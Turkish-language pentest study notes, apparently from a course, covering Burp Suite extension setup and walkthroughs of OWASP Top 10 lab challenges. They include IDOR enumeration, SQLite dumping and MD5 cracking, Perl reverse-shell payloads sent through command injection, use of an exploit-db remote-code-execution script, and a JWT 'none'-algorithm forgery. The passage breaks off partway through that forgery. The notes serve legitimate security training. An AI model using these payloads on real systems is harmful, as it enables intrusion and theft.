- extension details kısmında extension file (.jar) kısımında indirdiğimiz dosyamızı seçelim
- next => close diyerek işlemi tamamlayalım
- üst kısımda aracın geldiğini göreceksiniz
- extensions kımındaki tik bu aracın görünürlüğü ile ilgili eğer tiki kaldırırsanız görünürlüğü gider
- şimdi AdminPanelFinder kısmına gelelim
- bu aracın kullanımı ile alakalı bilgi geliştiricinin sayfasında mevcut
- şimdi bu aracın kullanımı ile ilgili:
- öncelikle bir istek yakalayacağız
- proxy sekmesine gelelim
- openbrowser
- testphp.vulnweb.com isteğini yakalayalım
- ardından sağ tıklayarak extension kısmında AdminPanelFinder bulup oraya gönderelim
- buraya gönderdikten sonra bu kısımda bulunan option kısmında bunu göreceğiz
- burada level kısmında denenecek olan payloads sayısı var
- level 1 de 63, level 5 de 1009 payloads denemesi yapıyor
- burada deneme yapılacak listeyi ayrıca da belirtebiliyoruz zip dosyası olarak
- default dictionary varsayılan olanlar, kendimiz belirtmek için bunu load yapmalıyız
- bu kısımda extension satırında hedef uzantısını belirtiyoruz bizim hedefimiz php uzantılı
- şimdi finder bölümünden start diyerek işlemi başlatıyoruz
- görüldüğü üzerr login ve admin panellerini buldu
- diğer harici eklentileri de bu yolla ekleyip kullanabilirsiniz
- ' BAPP Storeden Eklenti Ekleme ve Kullanma
- şimdi modül kurup kullamnın diğer bir yolu ise kendi mağazası olan BApp den bulup install edebiliriz
- Extension => BApp bölümüne gidelim
- sol tarafta modülleri ve hemen yanında bu modül ile ilgili bilgileri ve onun üstünde de arama çubuğunu görebilirsiniz
- arama çubuğununa BackUpFinder yazalım
- bu, web sitelerindeki backup dosyalarını arama işlemini yapan bir araç
- bunu seçelim ve sağ tarafta aşağıdaki install butonuna basalım
- yukarıda sağ tarafa doğru baktığınızda bu eklentinin geldiğini göreceksiniz
- daha önce kullanıdığımız AdminPanelFinder ile benze bir yapıya sahip
- kullanımı içinde yine bir istek yakalayacağız ve ardından BackUpFinder a göndereceğiz
- proxy gelerek openbrowser ı açalım ve : http://testphp.vulnweb.com burada ki isteği yakalayalım
- sağ tıklayıp extension dan backupfinder bulup ona yollayalım
- şimdi backupfinder a gelelim ve oradan da options a tıklayalım
- burada da level kısmında yine benzer listemiz ama bu sefer payloads göstermiyor
- şindi finder a gelerek start butonuna basarak başlatalım
- görüldüğü üzere web sunucusunda bırakılan yedek doslar:
1 testphp.vulnweb.com 80 /index.zip HEAD 200 0
2 testphp.vulnweb.com 80 /.idea/ HEAD 200 0
3 testphp.vulnweb.com 80 /index.bak HEAD 200 0
- backupfinder:
- web uygulaması güvenlik testlerinde sunucu üzerinde bırakılmış yedek dosyların bulunmasını sağlayan bir araç
- ' Python ile Yazılmış Eklenti Kullanımı için Jython
- modüllerin hepsi java ile yazılmamış, bazıları python ile yazılmış modüller
- ve bu pythonla yazılmış modüller için de ayrı bir dosya ekleme işlemi yapılması gerkiyor
- mesela gelelim extension da BApp da WordPressScanner eklemek istediğimizde jython a ihtiyaç duyuyor
- bu kısımda Download butonuna bastığımızda bizi kaynak adrese götürecek
- burada Jython Standalone bastığımızda jar uzantılı dosyayı indirir
- eğer bulamadıysanız aşağıdaki linkten de indirebilirsiniz
- https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.4/jython-standalone-2.7.4.jar
- bu dosya sabit olacağından önce sudo su komutunu terminalde girerek roota geçelim
- daha sonra mkdir /opt/burpsuite yazalım
- ve sonra mv Downloads/jython-standalone-2.7.4.jar /opt/burpsuite
- indirdiğimiz jar uzantılı dosyamız yeri: /opt/burpsuite dizini altında
- şimdi burpsuite gelip extension => extension options kısmından python enviroment de bu dosyamızın yolunu gösterelim
- artık BApp de wordpressscanner ı install edebiliriz
- ' Eklentiler için API
- javada kendinizi geliştirip burpsuite de eklenti yazmaya karar verdiğinizde
- işinize yarayacak ipuçlarını ve bilgileri bu kısımda bulabilirsiniz
20.Syudy: ' OWASP TOP 10 - 2021
- inceleme için: https://bugs.xdavidhu.me/google/2021/01/11/stealing-your-private-videos-one-frame-at-a-time/
- ' Broken Access Control : Bozuk Erişim Kontrolü
- web sitelerinin ziyaretçilerden korunan yani görmemesi veya görmesi gerekmeyen sayfaları vardır
- örn: diğer kullanıcıları yönetmek için bir sayfaya sadece sitenin yönetici kullanıcısı erişebilir
- eğer bir ziyaretçi bu sayfaları görebiliyorsa burada BrokenAccessControl vardır.
- korumalı sayfalara erişim aşağıdaki sonuçlara neden olabilir:
- diğer kullanıcıların hassas verilerini görüntüleme
- yetkisiz olarak işlevlere erişim
- ' Bozuk Erişim Kontrolü (IDOR Mücadelesi)
- daha önceki derslerden de biliyoruz IDOR güvenliık açığını
- makinemizi başlatalım ve ip üzerinden siteye giderek ilgili bayrağımızı bulalım
- username: noot | password: test1234
- bu bilgiler ile oturup açalım
- bunu istersek burp suite üzerinden de yapabiliriz
- giriş yaptığımızda url de şu gözüküyor: http://10.10.160.244/note.php?note_id=1
- biz burada note_id=1 bu kısımı değiştirerek yapabiliriz
- deneyelim
- giriş yapalım ve isteği yakalayalım
- bu kısımda yakalanan isteği intruder a gönderelim
- bşalık kısmında GET /note.php?note_id=0 HTTP/1.1 sıfır ı add ile ekleyip sniper seçili olacak şekilde
- intruder ın payloads kısımda payload tipini number yapalım
- belli aralık arama yapalım
- mesela 0 - 10 arası deneme yapsın
- ve response sutununda 200 lü değerlere bakalım
- önce atağı başlatın bitmesini bekleyin
- daha sonra 200 lü değere tıklayın ve response yanıtına bakın
- bayrağımızı bulacaksınız: flag{fivefourthree}
- ' Cryptographic Failures: Şifreleme Hataları:
- güvenlik açığı yaratan kriptografik algoritmaların yanlış kullanımı veya kullanılmaması ile alakalı bir zafiyettir
- örnek:
- güvenli bir e-posta uygulamasında:
- e-posta hesabına erişirken tarayıcı ile sunucu arasındaki iletişim şifrelenmeli (aktarım halindeki verilerin şifrelenmesi)
- e-postaların sağlayıcının sunucusunda şifreli olarak saklanması da önemlidir (beklemede ki verilerin şifrelenmesi)
- şifreleme hataları, hassas verilerin ifşa edilmesine yol açar; bu veriler genellikle kullanıcılar ile doğrudan bağlantılıdır
- Daha karmaşık saldırılar MITM (ortadaki adam saldırısı) gibi teknikler içerir
- saldırgan zayıf şifrelemelerden yararlanarak verilere erişim sağlayabilir
- Ayrıca bazı hassas veriler doğrudan web sunucusunda bulunabilir.
- ' Cryptographic Failures (Supporting Material 1)
- genellikle bir veri yığınına erişmenin en basit yolu bir veri tabanı kullanmaktır.
- varsayalım ki bu kısımda varsayalım ki bir veri tabanına erişim sağlamayı ve indirmeyi başardık
- database dosyamız example.db
- file example.db ile bir kaç bilgi edinebiliriz
- bu veritabanına erişim için kullanılan yapı: sqlite3 <database-name>
- sqlite3 example.db
- daha sonra .table ile veriitabanı tablolarını görüntüleyebiliriz
- bu noktada tüm tablo verisini görebiliriz ama tablo bilgisine bakmadığımız sürece neyin ne olduğunu anlayamayız. Bu yüzden: PRAGMA table_info(customers);
- bu komutu, SQLite veritabanında "customers" adlı tablonun yapısını sorgular. Bu komut, tablodaki sütunların adlarını, türlerini ve diğer özelliklerini gösterir. Böylece, tablonun yapısını anlamak için yararlıdır.
sqlite> PRAGMA table_info(customers);
0|cudtID|INT|1||1
1|custName|TEXT|1||0
2|creditCard|TEXT|0||0
3|password|TEXT|1||0
bu komut sonrası yapı buna benzer birşekilde görünür
- daha sonra customers tablosundaki tüm kolon bilgisini çekmek için: select * from customers
sqlite> SELECT * FROM customers;
0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99
1|John Walters|4671 5376 3366 8125|fef08f333cc53594c8097eba1f35726a
2|Lena Abdul|4353 4722 6349 6685|b55ab2470f160c331a99b8d8a1946b19
3|Andrew Miller|4059 8824 0198 5596|bc7b657bd56e4386e3397ca86e378f70
4|Keith Wayman|4972 1604 3381 8885|12e7a36c0710571b3d827992f4cfe679
5|Annett Scholz|5400 1617 6508 1166|e2795fc96af3f4d6288906a90a52a47f
- ve bu komut sonrası da buna benzer bir yapı ile kaşılaşabiliriz
- gördüğünüz gibi password kısmı hashlenmiş
- bir sonrakinde bu hash kırmayı öğrenenceğiz
- ' Cryptographic Failures (Supporting Material 2)
- bu kısımda bir önce password hashlerini kırma eylemi için web uygulamalarını kullanabiliriz
- bunun için örnek olarak: önce hash türünü belirleyelim: komut satırına : hash-identifier <hash_değerni_girin_ve_enter_yapın>
- en yukarda olası MD5 hash algoritması kullanıldığını görüyoruz
- şimd de web uygulamasına bakalım
- https://crackstation.net/
- Joy Paolson ın password hashi: 5f4dcc3b5aa765d61d8327deb882cf99 md5 password
- ' Cryptographic Failures (Challenge)
- şimdi de uygulama üzerinden gidelim
- makinenizi çalıştırın ve bu adımdaki uzantya gidin
- bu adımda direkt sorular üzerinden gideceğiz
- öncelikle bize verilen ip üzerinden gidelim
- Artık öğrendiklerinizi uygulamaya koymanın zamanı geldi! Bu görev için http://10.10.30.111:81/ adresinden web uygulamasına bağlanın.
- soru: Web uygulamasına bir göz atın. Geliştirici, belirli bir dizinde hassas verilerin bulunduğunu belirten bir not bıraktı.
Bahsedilen dizinin adı nedir? :
burada ctrl + u ile kaynak koda bakalı
burada bir /assets dizini var sanırımı bu dizin adından bahasediliyor
/assets
- soru: Birinci soruda bulduğunuz dizine gidin. Hangi dosyanın hassas veriler içerme olasılığı yüksek olarak öne çıkıyor?
tabikide: webapp.db
- soru: Hassas verilere erişmek için destekleyici materyali kullanın. Yönetici kullanıcının şifre karması nedir?
bunun için webapp.db indirelim
ve daha önceki adımları kullanalım
önce sqlite3 yazalım ve ardından indirdiğimiz database adını girelim konsola (Downloads dizinindedir. yolunu belirtin)
sqlite3 webapp.db
.table
sessions users => bunlar var olan tablolar
şimdi bunlara bir göz atalım
pragma table_info(sessions);
0|sessionID|TEXT|1||1
1|userID|TEXT|1||0
2|expiry|INT|1||0
pragma table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0
şimdi bizden istenen "Yönetici kullanıcının şifre karması" yani hashi nin istiyor:
bunun için select username, password, admin from users komutu yeterli olcaktır
admin|6eea9b7ef19179a06954edd0f6c05ceb|1
Bob|ad0234829205b9033196ba818f7a872b|1
Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
cevap: 6eea9b7ef19179a06954edd0f6c05ceb
- soru: Hash i kır. Yöneticinin düz metin şifresi nedir?
şöyle bir yöntem deneyelim:
öncelikle bir wordlist edinmeniz gerek. veya crunch gibi araçlar ile kendi wordlistenizde oluşturabilirsiniz. ben yaygın olark kullanılan rockyou.txt indirdi bunu kullanacazğım
öncelikle hash-identifier <hash> ile tipini bulalım burada Possible Hashs: altında ilk satırı baz alalım
daha sonra bir touch hash.txt adında bir dosya oluşturalım ve hash değerini buraya yazalım
bunu da yaptıktan sonra johntheripper aracı ile kırma işlemi yapalım format:
jhon -fromat=raw-MD5 hash.txt /usr/share/wordlist/rockyou.txt
daha soran root dizinin de bir .jhon dizini oluşur
bu dizine geçincd .jhon
ls -l diyin
.pot uzantılı dosyayı cat ile okuyun ve deşifre edilmiş şifre karşınızda: $dynamic_0$6eea9b7ef19179a06954edd0f6c05ceb:qwertyuiop
=> qwertyuiop
- soru: Yönetici olarak oturum açın. Bayrak nedir? : admin : qwertyuiop => THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
- ' Injection :
- yagın olarak SQL Injection ve Command Injection hatalrı ile karşılaşırız.
- daha önce sql injection zafiyetini detaylı olarak gördük.
- bu kısımda komut enjeksiyonunu göreceğiz
- doğru yapılandırılmamıi bir web sitesi üzerinden komut çalıştırılmasına denir
- saldırgan, bu güvenlik açığını istismar ederek bir ters bağlantı elde etmeye çalışacaktır
- çünkü orda tek bir komut işletme durumu vardır
- saldırganın amcı bu işi daha ileri götürmek olduğundan ters bağlantı alarak doğrudan sistemin komut satırına erişim sağlayıp birden fazla komut girmeyi denemek isteyecektir
- daha doğrusu sistemi tamamen elegeçirmek isteyecektir
- ters bağlantı aşamasında hedef sistemde kurulu olan araçlar ve elde etmiş olduğu kullanıcının kullanabileceği araçlara farklı senaryolar denemek gerekebilir
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
- https://www.root-me.org/Swissky?inc=info&lang=fr
- şuanlık u siteyi araştımanızı istiyorum
- bir sonraki kısım iki bölüm halinde önce bu linki daha sonrada sorular üzerinden gideceğiz
- ' Command Injection
- hedef sistemde kurulu olan ve kullanıcının da erişimi olması gerek
- https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#summary
- bu linke gidelim ve ardında da
- iki araç deneyeceğiz: Perl,Python
- ilk olarak hangi aracın kurulu oldupunu tespit etmeye çalışalım
- bize verilen bağlantı linkini de açalım bu arada: http://10.10.140.124:82/
- burada ters bağlantı almaya bakacağız
- burayı komut enjecsiyonu olan bir alan olarak görebilirsiniz
- öncelikle $(python -v) yazalım ama bize bir sonuç döndürmedi bu da ya bu kullanıcının bu araca erişimi yok yada kurulu değil bu doğrultuda python ile ilgili kısımları eleyebiliriz
- Perl aracı var mı buna bakalım: $(perl -v) evet bu araç mevcut muş
- yani bu da demek oluyor ki kaynak linkimiz de perl aracı için ters bağlantı komutunun çalışabileceğidir
- bunu için: $(perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
- hadi bunu deneyelim ama önce şu kısımı: Socket;$i="10.0.0.1"; kendi bağlantı yaptığımız makine ip si ile değiştirelim: Socket;$i="10.9.0.48";
- ve nc -lvp 4242 diyerek bu portu dinlemeye alalım sonra
- $(perl -e 'use Socket;$i="10.9.0.48";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
- bu komutu textboz a yapıştıralım ve netcat aracında takip edelim
- ve ters bağlantı kurulmuş oldu
- diğer komutlara da bakalım belki bu çalışmayacaktı
- $(perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.9.0.48:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;')
- yine burada da ip kısmını değiştiriyoruz port sabit kalabilir
- önce netcat aracı kapatalım ve tekrar dinleme moduna alalım daha sonra bu komutu yazıp neler olduğuna bakalım
- bu da oldu termninalde ls -lah yazın ve görün :d
- var olan aracı kontrol ettikten sonra diğer komutlar denenebilir
- bölüm 2
- şimdi sorular üzerinden gidelim:
- Web sitesinin root dizininde hangi garip metin dosyası var?
- bunu için önce revers shell ile ter bağlantı yapalım
- önce nc -lvp 4242 portunu dinleyelim
- daha sonra: $(perl -e 'use Socket;$i="10.9.2.7";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
- terminale bağlantı geldi
- şimdi root dizine bir bakalım
/htdocs $ ls -lh
total 16K
drwxr-xr-x 2 root root 4.0K Sep 9 2022 css
-rw-r--r-- 1 root root 78 Feb 3 2023 drpepper.txt
-rw-r--r-- 1 root root 2.3K Sep 9 2022 index.php
drwxr-xr-x 2 root root 4.0K Sep 9 2022 js
- burda ki dosyalara bakalım cat aracılıpı ile
- sanırım bu dosya: drpepper.txt
- soru: Kaç tane root olmayan/hizmet dışı/arka plan programı olmayan kullanıcı var?
- kulanıcı bilgilerini almak için: cat /etc/passwd
- bu kısımda başka herhangi bir kullanıcı yok
- cevap: 0
- soru: Bu uygulama hangi kullanıcı olarak çalışıyor?
- whoami ile bunu belirleyebiliriz
- kullanıcı: apache
- soru: Kullanıcının kabuk seti nasıldır?
- bunu da 2 önceki soruda passwd dosyasında apache yi bulup en son : işaretinden sonraki kısımda bulabiliriz
- bunu için: cat /etc/passwd|grep apache
- cevap: /sbin/nologin
- soru: Alpine Linux'un hangi sürümü çalışıyor?
- bunu da etc nin altındaki dosyadan okuyalım:
- cat /etc/alpine-release
- 3.16.0
- ' Insecure Design
- Insecure Design ve İlgili Vulnerabiliteler
- Tanım:
- Insecure design, uygulamanın mimarisinde doğuştan gelen güvenlik açıklarını ifade eder.
- Bu açıklar, kötü uygulama veya yapılandırmalardan değil, uygulamanın temel tasarımındaki hatalardan kaynaklanır.
- Nedenleri:
- Genellikle, bu açıklar uygulama planlama aşamasında yetersiz tehdit modellemesi nedeniyle ortaya çıkar.
- Geliştiriciler, test süreçlerini hızlandırmak için kodda "kestirme yollar" kullanarak açıklar ekleyebilirler.
- Güvensiz Şifre Sıfırlama Örneği
- Uygulama:
- Instagram, kullanıcıların unuttukları şifrelerini 6 haneli bir kodla SMS yoluyla sıfırlamalarına olanak tanır.
- Vulnerabilite:
- Saldırgan, bu kodu brute-force yöntemiyle tahmin edebilir.
- Instagram, aynı IP adresinden gelen denemelere karşı 250 deneme sonrası kullanıcıyı engellemiştir.
- Sınırlama:
- Bu sınırlama yalnızca aynı IP için geçerlidir.
- Farklı IP adresleri kullanarak saldırgan, her birinden 250 deneme yaparak kodu çözme şansını artırabilir.
- Sonuç:
- Bulut hizmetleri sayesinde uygun maliyetle birçok IP edinmek mümkündür.
- Çözüm ve Öneriler
- Zorluklar:
- Insecure design açıkları genellikle geliştirme sürecinin erken aşamalarında tanıtıldığı için, bu açıkları kapatmak çoğu zaman uygulamanın o kısmını baştan inşa etmeyi gerektirir.
- Bu, diğer basit kodla ilgili açıkları düzeltmekten daha zordur.
- Öneri:
- Bu tür açıkları önlemenin en iyi yolu, geliştirme sürecinin başında tehdit modellemesi yapmaktır.
- soru:
Joseph'in şifresini sıfırlamayı dene. Sitenin gerçekten Joseph olup olmadığınızı doğrulamak için kullandığı yöntemi unutmayın.
Joseph'un hesabındaki bayrağın değeri nedir?
- çözüm:
- öncelikle bize verilen linke gideim ve Joseph in şifresini sıfırlamayı denyelim
- burada bir güvenlik sorusu var. En basit olanını denemeliyiz. Nerden bilelim dıdısının dısının adın :D
- renkler uygun görünüyor.
- manuel olarak deneyelim bakalım ne çıkacak
- göründüğü üzere büyük küçük harf duyarlılığı var: joseph : green
- bir geçici şifre aldık: yhpQgdq7VvfWB1
- bu bilgiler ile giriş yapın ve sekmelerdeki dosyalara br göz atın
- THM{Not_3ven_c4tz_c0uld_sav3_U!}
- ' Security Misconfiguration : Güvenlik Yanlış Yapılandırması
- bu konuda özellikle dikkat edilmesi gereken şey hazır yazılım kullanılmış web sitelerinde varsayılan değerlerin olduğu şekilde bırakılıp bırakılmadığının kontrol edilmesi
- yani:
- default yönetim panenil olabilir
- default kullanıcı adı/parolo olabilir özellikle bunlarla sık karşılaşılıyor hazır yazılım kullanılmış web sitelerinde
- uygulama kısmına geçelim attack box makinesini çalıştırın ve verile URL üzerinde ilgili sayfaya gidin
- http://10.10.91.94:86
- bu kısımda /console dizinine geçin (bunu urlde yapın)
- karşınıza bir console ekranı gelecek bu konsole python dili destekli o yüzdenn python dilini kullanacağız
- Sunucuda ls -l komutunu yürütmek için Python kodunu çalıştıralım: import os; print(os.popen("ls -l").read())
- bu komut :
- import os: Python'un os modülünü içe aktarır. Bu modül, işletim sistemi ile etkileşim kurmak için kullanılır.
- os.popen("ls -l").read(): popen komutu, belirtilen komutu (bu durumda "ls -l") çalıştırır ve bu komutun çıktısını okumaya izin veren bir dosya benzeri bir nesne döndürür.
- bu komut sonrası şöyle bir çıktı alırız:
total 24
-rw-r--r-- 1 root root 249 Sep 15 2022 Dockerfile
-rw-r--r-- 1 root root 1411 Feb 3 2023 app.py
-rw-r--r-- 1 root root 137 Sep 15 2022 requirements.txt
drwxr-xr-x 2 root root 4096 Sep 15 2022 templates
-rw-r--r-- 1 root root 8192 Sep 15 2022 todo.db
- bize .db uzantılı dosyayı soruyor: todo.db
- Uygulamanın kaynak kodunu içeren app.py dosyasının içeriğini okumak için kodu değiştirin. Kaynak kodundaki secret_flag değişkeninin değeri nedir?
- bunun için kodumuzu şöyle değiştirmeliyiz: import os; print(os.popen("cat app.py").read())
- burada secret_flag anahtar kelimesini arayalım: secret_flag = "THM{Just_a_tiny_misconfiguration}"
- cevap: THM{Just_a_tiny_misconfiguration}
- ' Vulnerable and Outdated Components: Bilinen Güvenlik Açıkları Teorik Bilgi
- hedef web sitesinde kullanılan yazılımın güncelliği kontrol edilerek daha önceden tespit edilmiş güvenlik açığı varmı diye bakılır
- bunun için https://www.exploit-db.com/ her zaman göz atılması gereken bir web sitesi
- burada daha önce tespit edilmiş açıkların bir database i mevcuttur.
- ' Vulnerable and Outdated Components - Exploit
- burada web sitesinin nostromo 1.9.6 uygulama sürümü bulduğumuzu var sayalım
- exploir-db de bunu arayalım ve karşımıza direkt çıktı
- şimdi her exploitin kullanımı kendine özgüdür ve bununla ilgili detaylı kullanım bilgisi verilir
- tıkalayın nostromo 1.9.6 - Remote Code Execution bu exploit e
- biraz aşağıda şunu göreceksinizi kullanım için
- help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'
- bu kullanım oluyor. yani: exploit in adı yazılıyor daha ve hedef ip ve port bilgileri ile beraber hedef sistemde çalıştırılması istenen komut bilgisi giriliyor
- şimdi soruya gelelim:
- /opt/flag.txt dosyasının içeriği nedir?
- şimdi hedef web sitemize giderek incelemeye başlayalım
- ilk başta CSE Bookstore diye bir bilgiyle karşılaştık
- bunu hazır yazılım olup olmadığını araştırmamız gerek
- yani eğere hazır bir yazılımsa daha önceden keşfedilmiş bir zafiyeti olabilir bu arama için de exploit db veya google yi kullanacağız
- yine incelemeye devam edelim aşağıda 2017 tarihini görüyoruz ki bu eski bir sürüm olduğuna işaret edebilir
- bu kısımda google e yi kullanarak bununla ilgili biliglere bakalım
- bu kısımda google den arama yaparaken birden fazla link i araştırarak bu sayede örnek kullanım ve daha fazla bilgi edinme şansımız artar
- baktığımızda iki farklı exploit de exploit.db de olduğunu görüyoruz
- burada geliştiriciler bir takım bilgileri de görüyoruz
- daha önce web sitesindeki açıktan faydalanmak içni cse bookstore gördük ve aşağıda 2017 sürümü ve sol taraftada projectworlds bilgiside yer alıyor
- exploit ler de bu bilgiyide görüyoruz mesela: Online Book Store 1.0 - Unauthenticated Remote Code Execution(Kimliği Doğrulanmamış Uzaktan Kod Yürütme)
daki Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
- yani burada kıyaslamayı yapmamız gerekiyor
- yine: CSE Bookstore 1.0 - Authentication Bypass(Kimlik Doğrulama Baypası)
daki Vendor Homepage: https://projectworlds.in/
- yani aynı şeyi işaret ediyorlar
- şimdi: Online Book Store 1.0 - Unauthenticated Remote Code Execution exploit ini indirelim ve doğrudan çalıştırdığımızda bununla ilgili bilgi bizlere gelecektir
- Download dizininde : 47887.py bu dosyayı görebiliriz
- .py uzantılı olduğunu görüyoruz
- python 47887.py -h diyerek çalıştıralım
- usage: 47887.py [-h] url kullanımı bu şekilde
- bu dosyanın çalışması için bir url e ihtiyacı varmış
- şimdi url i ekleyelim: python 47887.py http://10.10.113.223:84/
- ve Y tuşuna basarak enter diyip devam edelim
- ve şuan da hedefin komut satırına erişmiş olduk
- şimdi bizden istenen: /opt/flag.txt bu dizindeki dosya içeriğini okumamız isteniyor
- bunun için: cat /opt/flag.txt => THM{But_1ts_n0t_my_f4ult!}
- ' Identification and Authentication Failures : Tanımlama ve Kimlik Doğrulama Hataları
- bu kısımda bozuk kimlik doğrulama kısmına değineceğiz
- en sık karşılaşılan durumlar:
- BruteForce : Kaba kuvvet salıdırıları:
- bu saldırıdaki en önemli etken, zayıf kimlik doğrulama bilgilerinini kulanılması
- Use of weak credentials : Zayıf kimlik bilgilerinin kullanılması
- web sunucusunun kullanıcıyı değerlendirirken yeterli kontrolünün sağlamaması
- Weak Session Cookies : Zayıf Oturum Çerezleri
- oturun çerezleri ön görülebilir değerler içeriyorsa saldırgan kendi oturun çerezlerini ayarlayabilir ve diğer kullanıcı hesaplarına erişebilir
- ' Identification and Authentication Failures Practical
- bu kısımda bir önceki kısımda anlattığımız gibi bir uygulama yapcağız
- hedef web sayfamızda bir mantık hatası var web:http://10.10.113.223:8088/
- darren diye bir kullanıcı var ve daren adında yeni bir kullanıcı oluşturulamıyor doğal olarak
- ama eğer başında bir boşluk koyarak bunu yaparasak yeni bir kullanıcı oluşturmuş gibi olurken aslında var olan bir kullanıcının bilgisine erişmiş oluyoruz
- bizden istenen bu bilgiyi kullanarak önce darren sonrada arthur daki bayrak bilgilerini elde etmek
- darren adında kayıt olmaya çalış ama : Bu kullanıcı zaten kayıtlı diye bir hata aldık şim başına boşluk koyarak deneyelim
- ve : Kullanıcı başarıyla kaydoldu!
- şimdi oluşturulan hesaba giirş yapalım: fe86079416a21a3c99937fea8874b667
- şimdi de arthur için aynını yapalım
- d9ac0f7db4fda460ac3edeb75d75e16e
- ' Software and Data Integrity Failures
- integrity : Bütünlük
- bir veri parçasının değiştirilmediğinden emin olmak demektir.
- örneğin: bir uygulama için installer indirdiğimizi varsayalım.
- indirirken taşıma sırasında değiştirilmediğinden veya bir iletim hatası nedeniyle hasar görmediğini nasıl anlarsınız?
- bunun için windows ve linux da yerleşik araçlar bulunmaktadır.
- bunlar dosyanın belirtilen hash değerini verir
- mesela normalde indirdiğimiz dosyanın hash değeri 12312312312124234 bu ama bir şekilde 432423523423423 buna dönüşmüş ?
- o halde bir sıkıntı olma ihtimalini göz önünde bulundurmalısınız
- linux ta sha256sum dosya_yolu belirterek veya aktip dizinde sha256sum * belirtererek te tek veya tüm dosyaların hash değerlerine bakabilirsiniz
- windows ta ise : certutil -hashfile dosya_yolu hash_değeri => certutil -hashfile example.exe md5
- belirterek hash değerini alabilir ve kontrol edebilirsiniz
- ' Data Integrity Failures
- oturum belirteçleri ve çerezler
- web uygulamaları, oturum açan kullanıcılara bir oturum belirteci atar
- bu belirteçler, genellikle çerezler aracılığı ile tarayıcıda depolanır ve her istekte web uygulamasına gönderilir
- çerezler, anahtar/değer çiftlerini içerir ve tarayıcıda saklandığı için kullanıcı tarafından değiştirilebilir
- veri bütünlüğü sorunları
- saldırgan, çerez değerlerini değiştirerek başka bir kullanıcının kimliğine bürünebilir
- bu durum veri bütünlüğü hatası yaratır
- eğer gerekli önlemler alınmıyorsa web uygulamasının bu değiştirilmiş verilere güvenmesi veri bütünlüğünü riske atar
- veri bütünlüğünü sağlama
- çerezlerin değiştirilmediğini garanti etmek için bütünlük mekanizmaları yani gerekli önlemlerin alınması gerekmektedir
- JWT(JSON Web Tokens) gibi araçlar verilerin bütünlüğünü sağlamak için kullanılabilir
- JWT nin yapısı
- üç bölmeden oluşur: header.payload,signature
- header: JWT nin türünü ve kullanılan imzalama algoritmasını belirtir
- payload: kullanıcının oturum bilgilerini içerir
- signature: verilerin bütünlüğünü sağlamak için sunucunun gizli anahtarı ile oluşturulur
- Base64 kodlama
- JWT nin herbir bölümü bu kodlama ile kodlanır. Ayraç olarak (.)nokta kullanılır
- JWT ve None algoritması güvenlik açığı
- bazı eski JWT kütüphanelerinde imza doğrulaması atlatılabiliyordu
- saldırganlar, JWT nin header ında imza algoritmasını 'none' olarak belirterek ve imza kısmını kaldırarak bu doğrulamayı atlayabiliyorlardı
- bu açık sayesinde saldırganlar JWT niniçeriğini örn: kullanıcı adını değiştirebiliyordu.
- şimdi bize verilen linke gidelim ve neler var bakalım: http://10.10.162.236:8089/
- soru: Uygulamaya misafir olarak giriş yapmayı deneyin. Misafirin hesap şifresi nedir?
- bunu için direkt olarak login e basın ve size guest:guest olarak misfir girişi yaptıracak bilgiyi göreceksiniz cevap: guest
- bu giriş yapıldığında bir çerez olarak JWT elde ettik bunun için inspect veya crtl+f12 kombinasyonu ile bu kısıma ulaşabiliriz
- burada cookie değerinde value kısmına odaklanalım
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI4NTMwMDkyfQ.OCykERyi290kLyOleAMHluh76XRFZDrtWbCR4kfVdfA
- bu bizim JWT değerimiz bunu ayıralım:
header: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
payload: eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI4NTI5NTI2fQ
signature: DCtGPGGfDiWwFqT5faEbZ_EKxjJncf30ghfQSrPV9ew
- şimdi burada değişiklik yapılacak iki kısım var header ve payload
- siganatur sunucu tarafında olşuturuluyor bu kısımı almayazağız
- soru: JWT belirteci içeren web sitesinin çerezinin adı nedir? : jwt-session
- soru: Yönetici kullanıcıya sunulan bayrak nedir?
- bunun için birkaç değişiklik yapmamız gerek (storage)
- önce bu bilgileri appdevtools.com da base64 de decode edelim
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI4NTI4NjQ5fQ
- karşımıza: {"typ":"JWT","alg":"HS256"}{"username":"guest","exp":1728528649}
- bu bilgi çıkıyor şimdi bunu şöyle değiştirmemiz gerek
{"typ":"JWT","alg":"none"}{"username":"admin","exp":1728528649}
- sonra ad base64 te encode edelim ama sıra ile: (eşittirleri silelim)
{"typ":"JWT","alg":"none"} => eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.
